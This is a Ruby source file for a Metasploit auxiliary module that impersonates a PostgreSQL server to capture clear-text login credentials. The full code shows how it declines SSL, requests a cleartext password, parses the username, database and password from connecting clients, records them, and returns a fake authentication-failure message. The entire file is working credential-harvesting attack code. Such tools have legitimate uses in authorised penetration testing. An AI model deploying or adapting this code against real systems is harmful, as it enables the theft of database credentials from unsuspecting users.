bcoles
138 lines
4.1 KiB
Ruby
138 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: PostgreSQL',
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'Description' => %q{
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This module provides a fake PostgreSQL service that is designed to
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capture clear-text authentication credentials.},
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'Author' => 'Dhiru Kholia <dhiru[at]openwall.com>',
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'License' => MSF_LICENSE,
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'Actions' => [[ 'Capture', { 'Description' => 'Run PostgreSQL capture server' } ]],
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'PassiveActions' => [ 'Capture' ],
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'DefaultAction' => 'Capture',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [],
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'Reliability' => []
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}
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 5432 ]),
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]
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)
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end
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# This module is based on MySQL capture module by Patrik Karlsson.
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# Reference: http://www.postgresql.org/docs/9.2/static/protocol-message-formats.html
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def setup
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super
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@state = {}
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end
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def run
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exploit
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def on_client_connect(client)
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@state[client] = {
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name: "#{client.peerhost}:#{client.peerport}",
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ip: client.peerhost,
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port: client.peerport
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}
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@state[client]['status'] = :init
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end
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def on_client_data(client)
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data = client.get_once
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return if !data
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length = data.slice(0, 4).unpack('N')[0]
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if (length == 8) && (@state[client]['status'] == :init)
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# SSL request
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client.put 'N'
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@state[client]['status'] = :send_auth_type
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elsif @state[client]['status'] == :send_auth_type
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# Startup message
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data.slice!(0, 4).unpack('N')[0] # skip over length
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data.slice!(0, 4).unpack('N')[0] # skip over protocol
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sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack('C*')
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client.put sdata
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data.slice!(0, 5) # skip over "user\x00"
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@state[client][:username] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0]
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data.slice!(0, 9) # skip over "database\x00"
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@state[client][:database] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0]
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@state[client]['status'] = :pwn
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elsif (@state[client]['status'] == :pwn) && (data[0] == 'p')
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# Password message
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data.slice!(0, 5).unpack('N')[0] # skip over length
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@state[client][:password] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0]
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report_cred(
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ip: client.peerhost,
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port: datastore['SRVPORT'],
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service_name: 'psql_client',
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user: @state[client][:username],
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password: @state[client][:password],
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proof: @state[client][:database]
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)
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print_good("PostgreSQL LOGIN #{@state[client][:name]} #{@state[client][:username]} / #{@state[client][:password]} / #{@state[client][:database]}")
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# send failure message
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sdata = [ 0x45, 97 - 8 + @state[client][:username].length].pack('CN')
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sdata << 'SFATAL'
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sdata << "\x00"
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sdata << 'C28P01'
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sdata << "\x00"
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sdata << "Mpassword authentication failed for user \"#{@state[client][:username]}\""
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sdata << "\x00"
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sdata << 'Fauth.c'
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sdata << "\x00"
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sdata << 'L302'
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sdata << "\x00"
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sdata << 'Rauth_failed'
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sdata << "\x00\x00"
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client.put sdata
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client.close
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end
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end
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def on_client_close(client)
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@state.delete(client)
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end
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end
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